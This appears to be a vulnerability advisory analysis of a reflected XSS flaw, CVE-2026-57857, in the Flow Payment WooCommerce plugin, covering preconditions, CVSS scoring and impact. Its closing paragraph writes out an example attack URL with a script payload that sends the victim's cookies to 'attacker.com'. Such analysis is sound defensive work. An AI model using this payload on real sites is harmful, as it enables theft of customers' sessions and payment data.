Flow Payment CVE-2026-57857

The victim must have an active WooCommerce checkout session on a WordPress site running the Flow Payment plugin version 3.0.8 - specifically, the victim must have items in their cart and be at the checkout stage for the cancellation handler to fire and render the notice. The attacker must supply a valid add-to-cart product ID alongside cancel_order=true and the XSS payload in the error_message GET parameter; without a valid product context, the cancellation handler may not be invoked. The victim must be socially engineered into clicking the crafted URL (CVSS UI:R - active user interaction required). Exploitation does not require any attacker authentication (CVSS PR:N), but the victim's browser must have an authenticated or guest WooCommerce session cookie to reach the checkout page where the notice renders. Limiting factors: the social engineering dependency prevents passive or automated mass exploitation; the victim session requirement means unauthenticated or non-shopping visitors are not useful targets; and the plugin's regional specificity to Chilean payment flows limits the pool of vulnerable installations globally.

The CVSS 3.1 score of 6.1 (Medium) accurately captures the risk profile: network-exploitable (AV:N), low complexity (AC:L), no attacker privileges required (PR:N), but mandating active victim interaction (UI:R) and producing only limited confidentiality and integrity impact (C:L/I:L/A:N). The UI:R requirement is the primary real-world mitigating factor - this is a social-engineering-dependent attack that cannot execute passively or at scale without the victim clicking a crafted URL while in an active WooCommerce checkout session. No EPSS score was provided in the input data, precluding probabilistic exploitation rate comparison. This CVE is not listed in CISA KEV, confirming no known active exploitation at time of analysis. No POC code is referenced in available data, though the fully disclosed parameter name and code location in the VulnCheck advisory make independent reproduction trivial. Practical impact is scoped to the affected WordPress site's origin: realistic consequences include session cookie theft, checkout form manipulation to redirect payments or harvest card data, and phishing overlay injection. The plugin's apparent concentration in Chilean e-commerce (flow.cl is a Chile-specific gateway) limits global footprint but may concentrate risk in Latin American WooCommerce deployments. Overall: medium-priority - not an immediate mass-exploitation risk, but straightforwardly weaponizable by a motivated attacker targeting specific stores.

An attacker targeting a Chilean e-commerce site running the Flow Payment plugin crafts a URL such as /checkout/?add-to-cart=123&cancel_order=true&error_message=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script> and delivers it to customers via phishing email or a malicious link embedded in a product review. When a logged-in customer or guest with an active WooCommerce checkout session clicks the link, the plugin renders the payload as an unescaped checkout notice and the JavaScript executes under the WordPress site's origin, enabling session cookie exfiltration or real-time checkout form manipulation to intercept payment credentials. No public proof-of-concept code exists, but the attack requires only knowledge of the disclosed parameter and a standard XSS payload.